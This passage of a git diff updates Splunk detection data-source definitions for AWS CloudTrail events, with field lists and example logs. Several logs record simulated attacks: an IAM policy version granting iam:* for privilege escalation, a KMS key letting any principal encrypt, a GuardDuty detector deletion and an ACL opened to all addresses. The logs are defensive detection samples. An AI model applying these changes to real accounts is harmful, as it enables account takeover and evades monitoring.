aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"origin": "AWS_KMS", "policy": "{\n \"Id\": \"key-consolepolicy-3\",\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "description": "", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "bypassPolicyLockoutSafetyCheck": false, "tags": [], "keyUsage": "ENCRYPT_DECRYPT"}, "responseElements": {"keyMetadata": {"aWSAccountId": "111111111111", "keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "arn": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1", "creationDate": "Jan 11, 2021, 9:56:30 AM", "enabled": true, "description": "", "keyUsage": "ENCRYPT_DECRYPT", "keyState": "Enabled", "origin": "AWS_KMS", "keyManager": "CUSTOMER", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "encryptionAlgorithms": ["SYMMETRIC_DEFAULT"]}}, "requestID": "3356af25-a237-471f-ba5e-abb37d4a256f", "eventID": "f09518ac-5ae5-4214-80ee-4f23ccdedd4c", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createnetworkaclentry.yml b/data_sources/aws_cloudtrail_createnetworkaclentry.yml index c1153a3068..49fcf5bdd4 100644 --- a/data_sources/aws_cloudtrail_createnetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_createnetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateNetworkAclEntry id: 45934028-10ec-4ab5-a7b1-a6349b833e67 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new entries in a network ACL, including rules to allow or deny specific network traffic. mitre_components: @@ -22,18 +22,10 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - direction - dvc @@ -44,14 +36,15 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg - object + - object_attrs - object_category - object_id - product @@ -66,6 +59,8 @@ fields: - requestParameters.cidrBlock - requestParameters.egress - requestParameters.networkAclId + - requestParameters.portRange.from + - requestParameters.portRange.to - requestParameters.ruleAction - requestParameters.ruleNumber - responseElements._return @@ -79,13 +74,18 @@ fields: - src - src_ip - src_ip_range + - src_port_range - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -100,13 +100,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -119,4 +112,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:39Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "_return": true}, "requestID": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "eventID": "6d1ce00e-4099-463c-8a4d-2af2fb2178ba", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:39Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "_return": true}, "requestID": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "eventID": "6d1ce00e-4099-463c-8a4d-2af2fb2178ba", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createpolicyversion.yml b/data_sources/aws_cloudtrail_createpolicyversion.yml index 00c450ca5d..fc9d23c385 100644 --- a/data_sources/aws_cloudtrail_createpolicyversion.yml +++ b/data_sources/aws_cloudtrail_createpolicyversion.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreatePolicyVersion id: f9f0f3da-37ec-4164-9ea0-0ae46645a86b -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new versions of IAM policies, including changes to permissions and attached roles or resources. mitre_components: @@ -22,29 +22,22 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -54,15 +47,19 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.policyArn - requestParameters.policyDocument - requestParameters.setAsDefault + - responseElements - responseElements.policyVersion.createDate - responseElements.policyVersion.isDefaultVersion - responseElements.policyVersion.versionId + - result + - result_id - signature - source - sourceIPAddress @@ -70,13 +67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -85,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -104,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLNMCDVJZAY", "arn": "arn:aws:iam::111111111111:user/rhino_escalate", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLHSQZPZFZ", "userName": "rhino_escalate"}, "eventTime": "2021-02-23T00:02:30Z", "eventSource": "iam.amazonaws.com", "eventName": "CreatePolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/rhino_escalate", "policyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowEverything\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:*\",\n \"Resource\": \"*\"\n }\n ]\n }", "setAsDefault": true}, "responseElements": {"policyVersion": {"versionId": "v2", "isDefaultVersion": true, "createDate": "Feb 23, 2021 12:02:30 AM"}}, "requestID": "fa42b4b2-f34a-4673-8f9f-b25cf1f5005a", "eventID": "33149175-90fd-4cff-a43b-408e4f848c1c", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "bhavin_cli"}, "eventTime": "2021-02-23T00:00:16Z", "eventSource": "iam.amazonaws.com", "eventName": "CreatePolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-policy-version", "errorCode": "NoSuchEntityException", "errorMessage": "Policy arn:aws:iam::111111111111:policy/privesc1 does not exist or is not attachable.", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/privesc1", "policyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowEverything\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:*\",\n \"Resource\": \"*\"\n }\n ]\n }", "setAsDefault": true}, "responseElements": null, "requestID": "0274bd4e-61e2-471b-9c10-eb5fd92d9892", "eventID": "4a5d643f-bda4-4c67-a31d-35699c843a9e", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createsnapshot.yml b/data_sources/aws_cloudtrail_createsnapshot.yml index 621812b8ec..43d2e322be 100644 --- a/data_sources/aws_cloudtrail_createsnapshot.yml +++ b/data_sources/aws_cloudtrail_createsnapshot.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateSnapshot id: 514135a2-f4b2-4d32-8f31-d87824887f9f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new snapshot of a cloud resource, such as an Amazon EBS volume, including details about the snapshot ID and resource type. mitre_components: @@ -20,9 +20,10 @@ supported_TA: version: 8.2.2 fields: - _time + - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -42,14 +43,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly @@ -77,7 +81,9 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - status - tag - tag::eventtype - timeendpos @@ -86,6 +92,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -94,13 +106,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -113,4 +118,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:18Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateSnapshot", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.1.2 (+https://www.terraform.io) terraform-provider-aws/3.76.1 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.157 (go1.19.3; darwin; amd64) stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d HashiCorp-terraform-exec/0.17.3", "requestParameters": {"volumeId": "vol-0363e53e12f67c9b7", "tagSpecificationSet": {"items": [{"resourceType": "snapshot", "tags": [{"key": "StratusRedTeam", "value": "true"}]}]}}, "responseElements": {"requestId": "fefed928-d461-45f0-802f-a99d94c833a8", "snapshotId": "snap-02effb3bb62786b18", "volumeId": "vol-0363e53e12f67c9b7", "status": "pending", "startTime": 1679351478226, "ownerId": "111111111111", "volumeSize": "1", "encrypted": false, "tagSet": {"items": [{"key": "StratusRedTeam", "value": "true"}]}}, "requestID": "fefed928-d461-45f0-802f-a99d94c833a8", "eventID": "2d52d141-d1e6-4d1f-a380-1461c1bf9f83", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:18Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateSnapshot", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.1.2 (+https://www.terraform.io) terraform-provider-aws/3.76.1 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.157 (go1.19.3; darwin; amd64) stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d HashiCorp-terraform-exec/0.17.3", "requestParameters": {"volumeId": "vol-0363e53e12f67c9b7", "tagSpecificationSet": {"items": [{"resourceType": "snapshot", "tags": [{"key": "StratusRedTeam", "value": "true"}]}]}}, "responseElements": {"requestId": "fefed928-d461-45f0-802f-a99d94c833a8", "snapshotId": "snap-02effb3bb62786b18", "volumeId": "vol-0363e53e12f67c9b7", "status": "pending", "startTime": 1679351478226, "ownerId": "111111111111", "volumeSize": "1", "encrypted": false, "tagSet": {"items": [{"key": "StratusRedTeam", "value": "true"}]}}, "requestID": "fefed928-d461-45f0-802f-a99d94c833a8", "eventID": "2d52d141-d1e6-4d1f-a380-1461c1bf9f83", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletedetector.yml b/data_sources/aws_cloudtrail_deletedetector.yml index 39d29d1a6f..4d4a15eb92 100644 --- a/data_sources/aws_cloudtrail_deletedetector.yml +++ b/data_sources/aws_cloudtrail_deletedetector.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteDetector id: 5d8bd475-c8bc-4447-b27f-efa508728b90 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an Amazon GuardDuty detector, including details about the detector ID and associated configurations. mitre_components: @@ -21,8 +21,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -41,8 +42,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,12 +67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -99,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-21T20:27:54Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteDetector", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/guardduty.delete-detector", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "123"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "1e832076-d7a8-432b-b0df-54ba62f6b62c", "eventID": "c1367a2f-8910-4e64-9256-a854d2e9f37d", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-21T20:27:54Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteDetector", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/guardduty.delete-detector", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "123"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "1e832076-d7a8-432b-b0df-54ba62f6b62c", "eventID": "c1367a2f-8910-4e64-9256-a854d2e9f37d", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deletegroup.yml b/data_sources/aws_cloudtrail_deletegroup.yml index d190093d91..b8b3eef3d4 100644 --- a/data_sources/aws_cloudtrail_deletegroup.yml +++ b/data_sources/aws_cloudtrail_deletegroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteGroup id: c95308a4-a943-42ca-b112-f90a05c21bd3 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IAM group in AWS, including details about the group name and its associated policies or members. mitre_components: @@ -22,18 +22,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode @@ -44,8 +37,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -59,6 +52,7 @@ fields: - recipientAccountId - region - requestID + - requestParameters - requestParameters.groupName - responseElements - result @@ -70,28 +64,34 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -104,4 +104,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121522247101:user/bhavin_cli", "accountId": "121522247101", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-04-07T00:17:50Z", "eventSource": "iam.amazonaws.com", "eventName": "DeleteGroup", "awsRegion": "us-east-1", "sourceIPAddress": "12.12.12.20", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.delete-group", "errorCode": "NoSuchEntityException", "errorMessage": "The group with name AtomicRedTeam_Victim cannot be found.", "requestParameters": {"groupName": "AtomicRedTeam_Victim"}, "responseElements": null, "requestID": "15684d3b-a8c5-4334-a996-16619e901c17", "eventID": "ab65dca3-3d28-41f4-9f99-443606cc49fe", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121522247101"}' +example_log: | + {"eventVersion": "1.05", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::123599847101:user/bhavin_cli", "accountId": "123599847101", "accessKeyId": "AKIAYTOGP2RLG53UIYWY", "userName": "bhavin_cli"}, "eventTime": "2020-08-05T20:29:10Z", "eventSource": "iam.amazonaws.com", "eventName": "DeleteGroup", "awsRegion": "us-east-1", "sourceIPAddress": "132.1.11.19", "userAgent": "aws-sdk-go/1.32.12 (go1.13.7; darwin; amd64) APN/1.0 HashiCorp/1.0 Terraform/0.12.12 (+https://www.terraform.io)", "requestParameters": {"groupName": "codecommit-default"}, "responseElements": null, "requestID": "b4c3783a-4f36-408f-a60f-fa8ee1d2bb9e", "eventID": "c29e93d5-4602-4b74-8fe7-499c4e9968c1", "eventType": "AwsApiCall", "recipientAccountId": "123599847101"} diff --git a/data_sources/aws_cloudtrail_deleteipset.yml b/data_sources/aws_cloudtrail_deleteipset.yml index 6cb149284f..8efbe48b65 100644 --- a/data_sources/aws_cloudtrail_deleteipset.yml +++ b/data_sources/aws_cloudtrail_deleteipset.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteIPSet id: ebdeeb63-77a0-4808-a6fe-549956731377 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IP set in AWS WAF or GuardDuty, including details about the IP set ID and its associated configurations. mitre_components: @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -40,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,12 +67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -99,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml index d8aa0af29a..6187e6c3c9 100644 --- a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml +++ b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLoggingConfiguration id: 24a28726-28f3-4537-a953-71bfbbc3b831 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DeleteLoggingConfiguration source: aws_cloudtrail @@ -14,4 +14,92 @@ supported_TA: version: 8.2.2 fields: - _time -example_log: '' + - apiVersion + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - errorMessage + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventtype + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - reason + - recipientAccountId + - region + - requestID + - requestParameters.changeToken + - requestParameters.detectorId + - requestParameters.ipSetId + - requestParameters.logGroupName + - requestParameters.logStreamName + - requestParameters.ruleId + - requestParameters.webACLId + - 